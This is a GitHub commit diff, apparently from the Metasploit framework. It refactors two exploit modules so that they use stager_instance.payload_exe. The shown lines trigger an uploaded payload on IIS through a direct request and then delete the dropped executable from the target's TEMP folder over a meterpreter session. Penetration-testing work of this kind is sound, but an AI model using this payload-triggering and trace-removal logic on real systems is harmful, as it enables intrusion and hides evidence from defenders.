File tree Expand file tree Collapse file tree 2 files changed +5
-5
lines changed Expand file tree Collapse file tree 2 files changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -332,12 +332,12 @@ def exploit
332
332
333
333
# Save these file names for later deletion
334
334
@exe_cmd_copy = exe_fname
335
- @exe_payload = payload_exe
335
+ @exe_payload = stager_instance . payload_exe # Grab this info from CmdStagerTFTP
336
336
337
337
# Just for good measure, we'll make a quick, direct request for the payload
338
338
# Using the "start" method doesn't seem to make iis very happy :(
339
339
print_status ( "Triggering the payload via a direct request..." )
340
- res = send_request_raw ( { 'uri' => '/scripts/' + payload_exe , 'method' => 'GET' } , 1 )
340
+ res = send_request_raw ( { 'uri' => '/scripts/' + stager_instance . payload_exe , 'method' => 'GET' } , 1 )
341
341
end
342
342
343
343
handler
Original file line number Diff line number Diff line change @@ -163,7 +163,7 @@ def exploit
163
163
end
164
164
165
165
def on_new_session ( client )
166
- return if not payload_exe
166
+ return if not stager_instance . payload_exe
167
167
168
168
#can't scrub dropped payload while the process is still active so...
169
169
#iterate through process list, find our process and the associated
@@ -174,7 +174,7 @@ def on_new_session(client)
174
174
#SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365
175
175
176
176
unless client . type == "meterpreter"
177
- print_error ( "Automatic cleanup only available with meterpreter, please delete #{ payload_exe } manually" )
177
+ print_error ( "Automatic cleanup only available with meterpreter, please delete #{ stager_instance . payload_exe } manually" )
178
178
return
179
179
end
180
180
@@ -191,7 +191,7 @@ def on_new_session(client)
191
191
end
192
192
193
193
win_temp = client . sys . config . getenv ( 'TEMP' )
194
- win_file = "#{ win_temp } \\ #{ payload_exe } "
194
+ win_file = "#{ win_temp } \\ #{ stager_instance . payload_exe } "
195
195
print_status ( "Attempting to delete #{ win_file } ..." )
196
196
client . shell_command_token ( %Q|attrib.exe -r #{ win_file } | )
197
197
client . fs . file . rm ( win_file )
You can’t perform that action at this time.
0 commit comments